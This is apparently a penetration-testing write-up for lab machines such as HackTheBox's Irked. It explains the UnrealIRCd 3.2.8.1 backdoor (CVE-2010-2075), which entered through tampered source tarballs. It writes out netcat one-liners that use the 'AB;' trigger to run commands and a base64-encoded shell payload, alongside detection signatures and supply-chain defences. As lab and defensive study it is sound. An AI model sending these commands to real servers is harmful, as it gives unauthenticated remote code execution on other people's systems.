UnrealIRCd 3.2.8.1 Backdoor (CVE-2010-2075)
CVE-2010-2075 is not an overflow nor a logic flaw: it is a back door put there by hand. In November 2009 somebody replaced Unreal3.2.8.1.tar.gz on UnrealIRCd's official mirrors with a copy carrying a few extra lines, and nobody noticed until June 2010. Everyone who built the server from those mirrors over seven months installed the back door along with it.
The added code runs whatever follows the magic string AB; on any line the server receives, before there is even a session. So no authentication and no operator status is needed: talking to the port is enough.
Recon gives it away on its own, because the version is in the banner:
nmap -p<ports> -sCV <ip> -oN targetedScan
searchsploit unrealircdThe public exploit-db exploit (13853.pl) is from 2010 and its payloads download files from domains that have been down for fifteen years, so running it as-is achieves nothing. What does work is reading it: inside are the payloads and the AB; string, which is all there is to know.
cat 13853.pl | head -n 13With the mechanism in hand, execution goes by hand and gets confirmed out of band before building anything, because a command that prints nothing does not say whether it worked:
echo 'AB; ping -c 1 <ip>' | nc <ip> <port>
sudo tcpdump -i tun0 icmpIf the ICMP arrives, there is execution. From there the payload is the usual one, and since the string goes through a shell it is worth sending it encoded so special characters do not break it:
echo 'AB; echo <base64-payload> | base64 -d | bash' | nc <ip> <port>Requirements. UnrealIRCd 3.2.8.1 built from one of the compromised tarballs. Distribution packages almost never are, because they were built from a different source. The service is often on 6667, 6697 (IRC over TLS), 8067 and high ports at once: the same daemon listens on several, and the back door answers on all of them.
How to detect it. On the wire, any IRC line starting with AB; is the signature, and it is trivial to catch with a Snort or Suricata rule because it appears in no legitimate traffic. On the host, the ircd or unrealircd process spawning sh, bash or ping as a child. And on disk, the tarball's hash against the one the project published after the incident: the integrity check that was not done at the time is the one that would have prevented the whole thing.
Defence. Patch, obviously. But the lesson of this CVE is not about patching: it is about the supply chain. Verifying GPG signatures and hashes of the code you compile, rather than just downloading it from the site that looks official, is the only thing that stops an attack like this before it runs.
It is the cleanest example of going from a version to an exploit: the banner gives the exact version and the exact version gives the vector, with no further enumeration.
Machines where it's used
- IrkedHackTheBox
- Vulnerable Lab (1 · 4 · 5)VulnHub